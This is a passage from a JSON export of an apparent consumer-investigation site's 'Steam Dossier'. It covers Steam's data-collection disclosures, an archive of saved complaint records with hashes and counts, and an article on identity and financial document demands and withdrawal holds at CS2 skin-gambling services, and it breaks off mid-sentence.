            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#privacy"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "https://store.steampowered.com/privacy_agreement/",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/6639-EB3C-EC79-FF60",
            "url": "https://help.steampowered.com/en/faqs/view/6639-EB3C-EC79-FF60"
          },
          {
            "label": "https://partner.steamgames.com/doc/api/ISteamUtils",
            "url": "https://partner.steamgames.com/doc/api/ISteamUtils"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/46BD-6BA8-B012-CE43",
            "url": "https://help.steampowered.com/en/faqs/view/46BD-6BA8-B012-CE43"
          },
          {
            "label": "https://dev.maxmind.com/geoip/docs/databases/anonymous-ip/binary/",
            "url": "https://dev.maxmind.com/geoip/docs/databases/anonymous-ip/binary/"
          },
          {
            "label": "https://www.koengeens.be/news/2018/04/25/loot-boxen-in-drie-videogames-in-strijd-met-kansspelwetgeving",
            "url": "https://www.koengeens.be/news/2018/04/25/loot-boxen-in-drie-videogames-in-strijd-met-kansspelwetgeving"
          },
          {
            "label": "https://blog.counter-strike.net/2018/07/20618/",
            "url": "https://blog.counter-strike.net/2018/07/20618/"
          },
          {
            "label": "https://blog.counter-strike.net/2019/09/25667/",
            "url": "https://blog.counter-strike.net/2019/09/25667/"
          },
          {
            "label": "https://steamcommunity.com/ogg/730/announcements/detail/518615049848226730",
            "url": "https://steamcommunity.com/ogg/730/announcements/detail/518615049848226730"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/7336-6EBC-1923-EE1B",
            "url": "https://help.steampowered.com/en/faqs/view/7336-6EBC-1923-EE1B"
          },
          {
            "label": "https://kansspelautoriteit.nl/sites/default/files/onderzoek_naar_loot_boxes_-_een_buit_of_een_last_-_nl.pdf",
            "url": "https://kansspelautoriteit.nl/sites/default/files/onderzoek_naar_loot_boxes_-_een_buit_of_een_last_-_nl.pdf"
          },
          {
            "label": "https://www.raadvanstate.nl/uitspraken/@130150/202005769-1-a3/",
            "url": "https://www.raadvanstate.nl/uitspraken/@130150/202005769-1-a3/"
          },
          {
            "label": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/78E3-7431-1E88-AD59#retailers",
            "url": "https://help.steampowered.com/en/faqs/view/78E3-7431-1E88-AD59#retailers"
          },
          {
            "label": "https://store.steampowered.com/digitalgiftcards/selectgiftcard",
            "url": "https://store.steampowered.com/digitalgiftcards/selectgiftcard"
          },
          {
            "label": "https://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key",
            "url": "https://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "https://payment.mts.ru/cyber/steam",
            "url": "https://payment.mts.ru/cyber/steam"
          },
          {
            "label": "https://staticpayment.ssl.mts.ru/upload/%D0%9F%D1%83%D0%B1%D0%BB%D0%B8%D1%87%D0%BD%D0%B0%D1%8F_%D0%BE%D1%84%D0%B5%D1%80%D1%82%D0%B0_2026.pdf",
            "url": "https://staticpayment.ssl.mts.ru/upload/%D0%9F%D1%83%D0%B1%D0%BB%D0%B8%D1%87%D0%BD%D0%B0%D1%8F_%D0%BE%D1%84%D0%B5%D1%80%D1%82%D0%B0_2026.pdf"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/783F-5E0F-9834-22D2",
            "url": "https://help.steampowered.com/en/faqs/view/783F-5E0F-9834-22D2"
          },
          {
            "label": "https://steamcommunity.com/discussions/forum/0/590688141302606461/",
            "url": "https://steamcommunity.com/discussions/forum/0/590688141302606461/"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23",
            "url": "https://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23"
          },
          {
            "label": "https://nvs--spb.sudrf.ru/modules.php?delo_id=1540005&name=sud_delo&name_op=doc&new=&number=812812802&srv_num=1&text_number=1",
            "url": "https://nvs--spb.sudrf.ru/modules.php?delo_id=1540005&name=sud_delo&name_op=doc&new=&number=812812802&srv_num=1&text_number=1"
          },
          {
            "label": "https://opis-cdn.tinkoffjournal.ru/mercury/delo-88-10528-2024.pdf",
            "url": "https://opis-cdn.tinkoffjournal.ru/mercury/delo-88-10528-2024.pdf"
          },
          {
            "label": "https://rusexpert.ru/public/expertizy-pdf/ZaklGLADSmirnvsValve2023.pdf",
            "url": "https://rusexpert.ru/public/expertizy-pdf/ZaklGLADSmirnvsValve2023.pdf"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "The existing record—not a hypothetical new surveillance system",
            "rows": [
              [
                "Layer",
                "Publicly documented capability",
                "The question it raises"
              ],
              [
                "Account & network",
                "The privacy policy lists SteamID, country of residence and logged IP addresses. [E71]",
                "How are historical account and location signals used when access rules change?"
              ],
              [
                "Device & activity",
                "The same policy lists unique device identifiers, operating-system information, settings and application use. [E71]",
                "Which identifiers persist between sessions and connect accounts or devices?"
              ],
              [
                "Authorised devices",
                "Steam Guard distinguishes unrecognised devices and provides an authorised-device review. [E72]",
                "What protection uses this continuity when the network address changes?"
              ],
              [
                "Country detection",
                "Steamworks exposes GetIPCountry, using an IP-to-location database. [E73]",
                "What additional precision is needed, for which decision, and with what error rate?"
              ]
            ]
          }
        ],
        "cited_source_ids": [
          "E14",
          "E71",
          "E72",
          "E73",
          "E90",
          "E74",
          "E91",
          "E75",
          "E76",
          "E77",
          "E78",
          "E88",
          "E89",
          "E38",
          "E21",
          "E13",
          "E79",
          "E80",
          "E81",
          "E15",
          "E66",
          "E92",
          "E93",
          "E82",
          "E83",
          "E87",
          "E84",
          "E86",
          "E85"
        ]
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json",
          "sha256": "971a37262865935b4057cc84f26c07fdf22b77006643e84eb21a99b18e124bc1",
          "bytes": 154697
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "steam_evidence_archive",
      "language": "en",
      "title": "Inspect the sources — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive",
      "source_file": "steam_dossier/steam_evidence_archive.html",
      "source_html_sha256": "d9979aced85ab964a3df65ade4c4ade1a0cf5a68550668b3e6bc1cf6f8cc86c5",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "steam_evidence_archive.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam_evidence_archive.pdf",
        "sha256": "f46f22716a53aadc16cba2da2388d2b4dd692bc17bb689fc26057de71ac77912",
        "bytes": 210273,
        "pages": 6
      },
      "integrity": {
        "signed_object": "steam_evidence_archive.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam_evidence_archive.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam_evidence_archive.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nINVESTIGATION MATERIALS / SOURCE COLLECTION 002\nThe evidence. Open to inspection.\n\nSearch the retained records. Open the saved text and follow its original source.\n\nPlatform\nMore filtersCollection, dates & saved text\nArchive details: build, source rows and platform breakdown\nArchive build\nSource rows\n16,569\nDistinct records\n16,319\nDuplicates merged\n249\nExcluded rows\n1\n\nRecords are not necessarily unique incidents.\n\n16,569 source rows\n16,319 distinct records\n249 duplicate rows merged\n1 row excluded\nView the original files ↘\nWHAT THIS SECTION PROVES\n\nThis archive indexes 16,319 saved records: public GitHub issues, Trustpilot reviews, Reddit posts, web records and Valve Developer Community edit-log entries. It supplies the retained text and source paths used to investigate account security, API changes, enforcement and consumer complaints. The source-file manifest records the recovered exports and their hashes.\n\n← Back to Executive briefing\n354TRUSTPILOT / SOURCE ROWS\n208REDDIT / SOURCE ROWS\n705GITHUB / SOURCE ROWS\n15,302MASTER CSV / SOURCE ROWS\n16,319 RECORDS — BREAKDOWN BY PLATFORM TYPE\n\nWiki category provenance (7,620 records · 46.7%): All 7,620 Wiki-labelled entries in the published index point to developer.valvesoftware.com. The collector identifies them as “Valve Developer Wiki Edit”, in the “Wiki Moderation & Contributor Log” category. The unit is a recorded wiki edit. These entries belong to the Master CSV collection; the separate broader export remains available as TOTAL_VALVE_SCANDALS_MASTER_DB.csv.\n\nWiki\n7,620\nReddit\n5,635\nGitHub\n2,395\nTrustpilot\n393\nWeb\n276\n9,116 of 16,319 records (55.8%) contain Steam / Valve references\n\nThis searchable archive was built on 2026-09-17 from the source exports listed above. The separate 40,448-row master export used elsewhere in the dossier has a different scope. See the build manifest for this archive’s counts; records can overlap and are not unique incidents.\n\n16,319 indexed records4 source collectionsSaved build · 17 September 2026\n\nEvery claim. Back to the source.\n\nStart with a research thread, search the retained records, then open the full saved text and original source. Every record keeps its collection, recorded date and source fields.\n\nReturn to the investigation ↗\nThe build and its source files\n\nThis archive merges 249 duplicate rows and excludes one row from 16,569 inputs, leaving 16,319 distinct records. A record can describe an event already covered by another record. Search covers titles, authors, source labels and displayed excerpts; full saved text opens with each record.\n\nDownload four source exports ↓File counts & SHA-256 hashes ↗Original build manifest ↗\n\nThe bundle contains the recovered exports matching the build’s row counts and its three recorded JSON paths. The original build did not record input hashes or a master CSV path; the companion manifest documents the recovered files and the comparison with the published index.\n\nTrustpilot · steam_support_reviews.json354 rows · JSON export\nReddit · reddit_censored_forensics.json208 rows · JSON export\nGitHub · valve_ignored_bugs.json705 rows · JSON export; filename is a collector label\nMaster · TOTAL_VALVE_SCANDALS_MASTER_DB.csv15,302 rows · CSV export used for comparison\nCourt Dockets · UNSEALED_EXHIBITS_AND_AML_DOSSIER.mdWolfire v. Valve unsealed emails, Gabe Newell depositions, Oct 2019 AML confession\nMaster Facts · FACTS_AND_CITATIONS_DATABASE.md1,638 discrete verified citations across 35 antitrust & security vectors\nSupport Archive · support_canned_refusals.htmlUpdated 18 Oct 2026 · 9,051 collection rows · 7 selected source readings · Separate lead register\nRecord fields, missing text and overlapping exports\n\nDates, ratings, categories and issue states reproduce the source exports. A missing URL stays missing. “[removed]” or “[deleted]” markers do not identify who removed a post or why. The Steam / Valve filter is a text match, not a relevance assessment.\n\n“Export matches” downloads index entries with excerpts; “Download record” includes the full saved text. The separate 40,448-row master CSV and 1,690-row GitHub CSV are broader exports, not the source counts for this build.",
        "headings": [
          {
            "level": 1,
            "text": "The evidence. Open to inspection.",
            "anchor": "pd-steam_evidence_archive--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "level": 2,
            "text": "Platform",
            "anchor": "pd-steam_evidence_archive--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive#archive-main"
          },
          {
            "level": 2,
            "text": "Archive build",
            "anchor": "pd-steam_evidence_archive--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "level": 2,
            "text": "The build and its source files",
            "anchor": "pd-steam_evidence_archive--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive#source-files"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "TOTAL_VALVE_SCANDALS_MASTER_DB.csv",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/TOTAL_VALVE_SCANDALS_MASTER_DB.csv"
          },
          {
            "label": "build manifest",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive_manifest.json"
          },
          {
            "label": "Return to the investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Download four source exports ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive-inputs.zip"
          },
          {
            "label": "File counts & SHA-256 hashes ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive-inputs-manifest.json"
          },
          {
            "label": "Original build manifest ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive_manifest.json"
          },
          {
            "label": "Court Dockets · UNSEALED_EXHIBITS_AND_AML_DOSSIER.md",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/unsealed_legal_and_aml/UNSEALED_EXHIBITS_AND_AML_DOSSIER.md"
          },
          {
            "label": "Master Facts · FACTS_AND_CITATIONS_DATABASE.md",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/forensic_facts_1000/FACTS_AND_CITATIONS_DATABASE.md"
          },
          {
            "label": "Support Archive · support_canned_refusals.html",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals"
          },
          {
            "label": "40,448-row master CSV",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/TOTAL_VALVE_SCANDALS_MASTER_DB.csv"
          },
          {
            "label": "1,690-row GitHub CSV",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/github_valve_unpatched_bugs.csv"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/TOTAL_VALVE_SCANDALS_MASTER_DB.csv",
          "sha256": "9aaab7297369011867eb39578f5045bdb737566a91a9c88766dd01814b36a240",
          "bytes": 25116549
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive_manifest.json",
          "sha256": "44aa479e8bae9c102951031b3cf08750add5ee3c157e2222ecaf595969f99aff",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive-inputs.zip",
          "sha256": "a8fc02302188db225d291f1764a82ac8cb9749aa5465949e83216604a4eae828",
          "bytes": 9270174
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive-inputs-manifest.json",
          "sha256": "bce9fa348f894d9aa651376cb5afa808242edcca4a5070ef626e430f4f840fb0",
          "bytes": 2082
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/github_valve_unpatched_bugs.csv",
          "sha256": "630757c815a58ca4bf6a741de4c7535edb1ae22b10c101647baaae6473646074",
          "bytes": 784357
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "aml-data",
      "language": "en",
      "title": "Your documents. Their discretion. — PhishDestroy",
      "author": "Agent Clara",
      "source_url": "https://phishdestroy.io/steam_dossier/aml-data",
      "source_file": "steam_dossier/aml-data.html",
      "source_html_sha256": "b8f9965d0887ed92c4d525fc115754e9677fc29ad60b6c3b79710627f2bfd688",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "aml-data.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/aml-data.pdf",
        "sha256": "45054a9044df6075c28ad795e019bfbb14f1d5721597fc64427fdff8db041ebb",
        "bytes": 415799,
        "pages": 27
      },
      "integrity": {
        "signed_object": "aml-data.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/aml-data.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/aml-data.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nMONEY, IDENTITY & CONTROL / UPDATED 11 OCTOBER 2026\nThe cost of proving yourself.\nINVESTIGATION BY AGENT CLARA\n\nHow a skin-gambling service can demand identity and financial records before releasing access to the user’s balance.\n\nCSGORoll asks for identity papers, financial histories and, in some cases, a relative’s documents. Its policy places those records in the hands of its own trained team — and ties refusal to withdrawal delays and account suspension. We follow that claim through the company records, security promises and privacy notices.\n\nRead their promise ↓See the full document scope\nWHAT LEAVES THE USER’S CONTROL\n01 / IDENTITYPassport.\nFace.\nHome address.02 / FINANCIAL HISTORY\n\nBank accounts · Exchange records\nProperty sales · Inheritance\n\n03 / OTHER PEOPLEA donor’s identity\nand source of funds.\nCSGORoll AML policy · K01 ↗\nTRANSPARENCY DEMANDED IN ONE DIRECTION\n\nThe user must expose their identity and finances. The operator offers assurances while retaining the power to withhold access. Its authority, recipients, safeguards and retention rules must withstand the same scrutiny it demands of the user. The policies examined here do not earn that trust.\n\nOriginal 11 October edition · complete text →Preserved original wording, alongside the current sections →\nTHE OPERATOR’S CLAIM / THE RECORD BESIDE IT\nThe “not gambling” claim and the demand for a financial dossier\n\nThe loss of control extends beyond the skin. Once value has entered an outside service, that operator can impose conditions on its release. CSGOFast distances itself from gambling and real-world monetary value; CSGORoll uses internal units with different redemption rules. Their verification policies nevertheless examine the user’s real identity, payment accounts and sources of wealth.\n\nCSGOFAST / RESPONSIBLE PLAY POLICY §8.1\n“The Site does not present itself as a gambling platform.”\nRead the operator’s wording ↗\nTHE RECORD BESIDE THAT CLAIM\nPaid funding, AML demands and a gambling-enforcement history\n\nFast’s own FAQ describes skin deposits, gift codes and cryptocurrency funding. Its AML policy requests identity and financial evidence. In April 2025, the Dutch regulator ordered Gamusoft LP to stop unlawful gambling offered through csgofast.com; its published record states that the order became final and violations continued.\n\nFunding instructions ↗AML policy ↗Dutch enforcement record ↗\n\nThe monetary-value disclaimer does not describe the whole transaction. The customer pays for a code, transfers cryptocurrency or supplies a skin; the service records a balance and controls its use. Roll’s current terms distinguish ordinary Coins from eligible Roll Chips that can be redeemed in cryptocurrency. These are restrictions on particular units and claims, rather than an absence of payment or economic value. Payment routes and redemption terms ↗\n\nRoll’s AML policy shows how far the operator’s authority over that balance can reach. It allows requests for identity documents and selfies, bank and exchange records, property-sale contracts, wills and a relative’s identity and source of funds. The same policy links missing documents to delayed withdrawals or account suspension. The user is being asked to surrender a personal file whose documented scope runs to fourteen request groups — including a deceased person’s will and a relative’s identity and source of funds — while the operator controls access to the value already inside its system. CSGORoll’s document demands and withdrawal conditions ↗\n\nVALUE ALREADY COMMITTEDSkin, payment or redeemed code\n\nThe operator records credit on its own ledger.\n\nADDITIONAL EVIDENCE DEMANDEDIdentity and financial history\n\nThe request can extend to relatives and counterparties.\n\nRELEASE CONTROLLEDWithdrawal or account access\n\nThe operator can delay or suspend access during verification.\n\nThe published explanation fails the scrutiny demanded of the user\n\nRoll assigns handling to its own trained team and promises high security standards, but its AML notice supplies no named standard or clear account of who can copy or export the original files. Its separate privacy notice allows sharing with vendors and affiliates without mapping those routes to the KYC records. That notice, revised in August 2026, still names the EU–US Privacy Shield, whose adequacy decision was invalidated in 2020. These are identifiable defects in the assurance offered to the person uploading a passport. Read the policies beside the legal record ↗\n\nFast’s disclosures create a different set of problems. Its AML and privacy pages display a 2024 update date while naming an Estonian company registered in September 2026. The AML wording pairs that company with UK law and includes unusual attention to the AML policy among suspicion indicators. The operator demands an explanation of the user’s finances while leaving its own identity, version history and asserted legal basis inadequately explained. Named companies and registry records ↗ The legal-basis discrepancy ↗\n\nThis is the same dependence revealed by the ownership comparison, extended to another service. The consumer cannot complete the promised exchange solely by owning or sending the skin. They must satisfy a platform that controls the ledger, interprets the rules and can demand further evidence before releasing access.\n\nID\nTHE COMPLETE IDENTITY INVESTIGATION\nAll fourteen document groups, the entities and the policy defects\n\nRead the source records, withdrawal conditions, data-handling claims and applicable legal tests.\n\n↗\nPAYMENT FILE / THE UNIT AND THE EXIT\nThey price the entry. They police the exit.\n\nA purchased balance, a gambling stake and the asset delivered on withdrawal are different things. The question is concrete: what did the customer surrender, what did the service credit, and what can the customer actually recover?\n\nThree operators. Three sets of published rules. Reviewed 11 October 2026.\nOperator / unit\tValue entering\tWhat leaves\tIdentity gate\nCSGORollCoins / eligible Roll Chips\tPaid Coin top-ups; skin, card, bank, crypto and gift-card routes are documented. [K11]\tThe FAQ links Coins to CS2 skins and Chips to crypto, and rules out converting Coins into Chips. The terms restrict ordinary Coins’ cash redemption. [K10] [K02]\tThe FAQ describes a KYC lock after 2,000 Coins in top-ups, plus restrictions on rewards and games. This is broader than a final cash-out check. [K10]\nCSGOFastCredits / Fast Coins\tSkins, partner gift codes, crypto and card-mediated routes. The gift-code purchase happens on a partner’s site. [K43]\tThe reviewed withdrawal guide describes a skin delivered by another Steam user. Its policy nevertheless denies real-world monetary value to Credits and digital items. [K44] [K07]\tThe AML notice makes requested data mandatory and connects refusal to delays or ineligibility. It does not supply one universal numerical withdrawal threshold. [K05]\nCSGOEmpireEmpire Coins\tIts terms cover skins, supported crypto and fiat. Its own deposit page directs gift-card buyers to Kinguin. [K36] [K41]\tPublished routes include skins and crypto. Its help distinguishes skin deposits, which need no wagering for crypto withdrawal, from cash/crypto deposits, where full-deposit wagering is required; skins remain an alternative. [K50]\tCurrent terms and older help describe different 4,500-Coin triggers. Both allow earlier checks. [K36] [K37] Compare the documents ↓\nTHE ECONOMIC QUESTION\n\nA “no monetary value” clause does not erase the payment that bought access. The accountability problem is paid entry, restricted redemption and the operator’s power to demand more evidence while value remains inside the service. The withdrawal asset and contractual promise must be named precisely.\n\nCoins, Credits and Chips are operator-controlled balance units. The Steam WebAPI token examined in the trade-tracking audit is an access credential. Empire explicitly describes gambling; the “not gambling” disclaimers examined here belong to Fast and Roll.\n\nCSGOEMPIRE / MONEY, IDENTITY & CONTROL\nOne balance. Conflicting instructions.\n\nEmpire’s rules connect a Steam inventory, an internal balance, cryptocurrency withdrawals and a third-party identity file. The public instructions leave important differences in when verification starts and what happens if the user cannot complete it.\n\nOPERATOR\nMoonrail Limited B.V.\n\nCuraçao · company 148182\n\nPOSSIBLE PAYMENT HANDLER\nJHOLT Ltd\n\nCyprus · HE393291\nNamed as acting on Moonrail’s behalf. [K41]\n\nNAMED VERIFICATION RECIPIENT\nCheckin.com\n\nNamed in the privacy notice dated 12 February 2025. [K40]\n\nSAME NUMBER4,500EMPIRE COINS\nDIFFERENT ACTIVITY COUNTED\n13 FEBRUARY 2025 / KYC HELP\nCumulative crypto withdrawals\n\nThe help article describes this as the usual trigger, with possible earlier checks. It requests live identity evidence and recent address evidence and names Checkin. [K37]\n\n6 OCTOBER 2026 / TERMS §11\nCumulative deposits and withdrawals\n\nThe terms require verification no later than this combined threshold, allow earlier checks and permit withholding or delaying the affected transaction. [K36]\n\nThe scope of the trigger has changed, but both explanations remain public. A customer reading the older help cannot determine the current trigger from that page. Empire should reconcile the guidance, identify the version accepted by the customer and show the transaction calculation behind a hold.\n\nRefuse verification: withdraw, or remain blocked?\n\nThe main FAQ says a person who fails or refuses KYC must withdraw the remaining balance and stop using the service. The newer terms permit a hold until verification is complete. These instructions conflict: the FAQ promises a user who fails or refuses KYC withdrawal of the remaining balance and an exit from the service; the newer terms authorise holding that balance until verification is complete. Empire must state which rule governs a refused user’s funds and publish the calculation behind any hold. [K39] [K36]\n\n“Automated verification” still leaves a human and a backup.\n\nThe main FAQ names Checkin or Shuftipro, says documents also enter Empire’s own backups, and describes employee review when automated reading fails. The dedicated help names Checkin; the privacy notice names Checkin.com. The record therefore reaches beyond a yes/no verification badge. Who has the original, who can retrieve the backup, and what retention rule applies to each copy? [K39] [K37] [K40]\n\nEmpire’s 2025 privacy notice also still cites the invalidated EU–US Privacy Shield among transfer safeguards. That is the same identifiable disclosure defect examined below for Roll. An operator collecting passports must identify the safeguard actually covering the transfer. [K40] [K20]\n\nREAD THE CONNECTED EVIDENCEEmpire’s coin settlement, Steam-token collection and P2P trade controlsThe identity hold acts on a balance controlled by the operator. ↗ NEW / THE COLLECTED INVENTORY186,127 priced listings. $19,283,716.61.Empire, Roll and Fast: the supplied minimum-price valuation, full item explorer and original CSVs.\nPAYPAL → GIFT CODE → PLATFORM BALANCE\nThe payment buys a code. The operator controls what follows.\n\nThis is a documented distribution route. Empire’s redemption page directs buyers to Kinguin. Fast’s help describes payment on a partner’s website followed by code redemption on Fast. [K41] [K43]\n\nLISTING 90693Empire · 100 CoinsSeller shown: CSGOEmpire.com LISTING 377753Roll · 1 CoinSeller shown: CSGORoll.com LISTING 82747Fast · 10 Fast CoinsSeller shown: CSGOFAST\n\nThese listings identify the seller by the operator’s brand and describe official supply. Kinguin lists PayPal among its methods, with availability dependent on country, currency and cart contents. No checkout was executed here. Empire’s listing excludes activation by US residents, among other territories. [K42] [K45]\n\nThe seller, payment recipient and casino operator occupy different roles in the same purchase.\n\nKinguin’s September 2026 terms identify Kinguin Digital Limited in Hong Kong as the marketplace operator. Payment normally goes to that entity; an alternative recipient, Anton Capitals Limited in Malta, must be disclosed before authorisation and in the payment record. Kinguin generally separates its marketplace role from the seller’s contract. The seller answers for a usable key; complaints about the external service are directed to that service, subject to mandatory consumer rights. [K46]\n\nThe receipt should name the legal seller and payment recipient. Connect those identities to the marketplace order, supplied code and credited gambling balance. This is the intermediary structure the investigation asks the participating businesses and payment providers to disclose.\n\nFOLLOW THE RESPONSIBILITY\n\nSelect where the failure occurs.\n\n01 / THE CODE PURCHASE\nIdentify who was paid and what was sold.\n\nThe record is the product description, legal seller, order, receipt and delivery evidence. PayPal eligibility must be checked separately; a functioning checkout does not itself provide Purchase Protection.\n\nConnect: order ID · legal seller · payment recipient · funding method · delivery status\n\n02 / THE CODE REDEMPTION\nMatch the delivered code to the ledger entry.\n\nDelivery of a valid code and crediting the intended account are separate events. The receiving operator should be able to explain whether redemption occurred, which account received value, and whether the promised amount appeared.\n\nConnect: redemption timestamp · receiving account · credited unit and amount · error or rejection\n\n03 / THE WITHDRAWAL HOLD\nThe code may work while access to value remains blocked.\n\nA later KYC hold concerns the operator’s release decision. Proof that a code was delivered does not establish that this decision was justified. Obtain the accepted policy version, trigger calculation, requested evidence, review deadline and appeal route.\n\nConnect: balance history · payout asset · KYC request · hold decision · final recipient\n\nAnalytical map of the separate events and evidence required; no individual payment or dispute outcome is reconstructed here. [K46] [K14] [K38]\n\nPayPal never settles with the casino: the gift code severs direct settlement with the operator’s legal entity.\n\nUnder US Purchase Protection, both gift/prepaid value and gambling or entry-fee-and-prize activities are excluded. The code route therefore sits outside those protections; the same policy also excludes the direct gambling transaction. Card-issuer chargeback rights may be broader — but any chargeback also runs against the marketplace’s payment recipient — Kinguin Digital Limited or Anton Capitals Limited — not against the operator, so it cannot restore the severed settlement. [K14] Unauthorised transactions have a separate regime; an authorised purchase followed by a payout dispute does not automatically fall into it. [K47]\n\nPayPal’s US acceptable-use rules require prior approval for relevant stored-value services, gambling facilitation and marketplaces. A voucher does not disclose the approval, merchant classification or settlement agreement. The enforcement question is whether the actual recipient and business activity were correctly disclosed and approved. A payment logo cannot answer it. [K48]\n\nTHE IDENTIFIABLE EFFECT\n\nThe customer’s payment claim and the operator’s withdrawal decision become separated. The PayPal payment settles with Kinguin Digital Limited 